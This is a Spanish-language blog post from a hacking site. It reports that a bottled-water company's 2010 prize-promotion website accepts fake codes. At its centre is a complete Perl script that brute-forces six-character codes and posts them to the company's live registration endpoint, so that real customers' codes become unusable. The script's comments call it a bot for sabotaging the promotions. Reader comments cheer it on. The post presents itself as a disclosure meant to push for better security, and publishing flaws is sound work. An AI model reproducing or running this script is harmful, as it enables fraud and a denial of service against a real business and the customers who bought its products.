|  Iniciar sesion |  Suscribete!
Usuarios en linea: 1 visitantes, 0 miembros


Calificacion 3.25Calificacion 3.25Calificacion 3.25Calificacion 3.25Calificacion 3.25
Calificado 4 veces.
Autor: Molder  Fecha:10 Jun 2010

Bonafont tiene una promoción con vigencia del 01 de Junio al 31 de Julio del 2010 que permite ganar premios económicos y descuentos en tiendas y restaurantes.

Instrucciones de la promoción:

[*] Con productos Bonafont participantes, junta la frase "YA GANÉ" impresa en dos botellas ó tapas
[*] Registra los códigos de tus botellas o tapas.

Dirán, este tipo y sus campañas publicitarias, pero no, el tema a tratar aquí es que es vergonzoso que en México existan sistemas WEB como el que usa actualmente Bonafont, donde solo ingresamos códigos ficticios y obtenemos premios.

Tal vez sea necesario presentar los empaques Bonafont, sin embargo, el sistema es vulnerable a una Negación de servicios al cliente ya que es posible crear un script que se encargue de hacer registros de códigos falsos dejándolos inservibles para aquellos usuarios que realmente compraron algún producto e intentan registrarlo, esto pone en riesgo la credibilidad del concurso y da una mala imagen a Bonafont.


Estas son algunas impresiones de pantalla de la pagina de Bonafont.



img/blog/bonafont/bonafont1.jpg


img/blog/bonafont/bonafont2.jpg

img/blog/bonafont/bonafont3.jpg



Como podemos ver es muy fácil hacer registros, solo bastaría dejar corriendo el siguiente script para invalidar miles de códigos.



#!/usr/bin/perl
#Powered by Sombrero de paja Molder
#Aztlan Hack I. S. T. http://aztlan-hack.org
#Molder Sombrero de paja
#BONABONTF BOT Pa CHingar sus promociones

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;

$host = "http://www.bonafont.com/bonafont/participarHecho.php";

print "\n[+] Conectando con $host\n";

$charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

@contenedor = split('',$charset);



sub recurse

{

my $width = $_[0];

my $position = $_[1];

my $base_string = $_[2];



my ($j);



for ($j = 0; $j < length($charset); $j++)

{


if ($position == $width)

{
$codigo[$j] = $base_string . $contenedor[$j];

if($j eq length($charset)-1 )
{
for ($j = 0; $j < length($charset); $j+=2)

{
my $useragent = LWP::UserAgent->new();
$useragent->agent("Sombrero de paja");
$useragent->timeout(10);
my $respuesta = $useragent->request(POST $host, [ em2=>"name\@email.com",
articulo2=>"5",
presentacion2=>"31",
ya2=>$codigo[$j],
articulo3=>"1",
presentacion3=>"8",
ganaste2=>$codigo[$j+1],
checkbox2 => "1",
nuevoRegistro=>"0",
tipo => "0"]);

$useragent->default_header(Referer => "http://www.bonafont.com/bonafont/participar.html");

print "Ya: ".$codigo[$j]." Gane: ".$codigo[$j+1]."\n";
}
}
}

else

{

my $base_string = $base_string . $contenedor[$j];

my $position = $position +1;

&recurse($width, $position, $base_string);

}

}


}

&recurse("6",1, '');

print "[+] Fin del programa\n";




img/blog/bonafont/bonafont4.jpg




Espero que Bonafont ponga atención en esto y sus desarrolladores creen sistemas mas fiables. Esto se trasmite con intenciones de mejorar no seas un programador del montón.

5 comentarios  [Comenta este articulo]


Comentarios

Comentario: No cabe duda, que casi en un 85% de las empresas no hacen caso a las advertencias y fallas reportadas en sus sistemas.

Buen descubrimiento molder, y no se que mas fallas tendra bonafont, jejeje, ya no voy a tomar su agua, jejeje.

Comentario: Jajajajaja Vamos a llamarla agua "Bugnafon", Gusto en verte por aki Dr.N4sh.

Comentario: Jajaja, me gusto, mas asi, agua Bugnafon, jejeje.

Un voy a postear algo de esto en facebook.

Hey bro, un dia de estos voy a postear otro paper.
Algo basico que estoy preparando, jejeje.

El gusto es mio bro, por permitir colaborar en haztlan-hack xD.

Saludos que te la pases genial reventando mas sistemas.

soraya
Comentario: no cabe duda qe so una bola de mentirosos y ratas yo me registre y son puras mentiras ratas

GiAn!
Comentario: que loko nunka pense que podia ver una pagina tan vulnerable jajaja
saludos desde peru!


Agregar Comentario

Nickname:
WWW:
Comentario:
Captcha: captchas
  

08 Sep 2010 Eres el visitante número:35636

Hackers, hacking etico, Seguridad Informatica, cracking, RFI, XSS, SQL Injection, Hack Hotmail, Telefonia Celular, Textos Hack, Programacion, Herramientas hacker
Todos los derechos reservados Aztlan Hack I. S. T. http://www.aztlan-hack.org Powered by Molder

¡CSS Valido!                    Valid XHTML 1.0 Transitional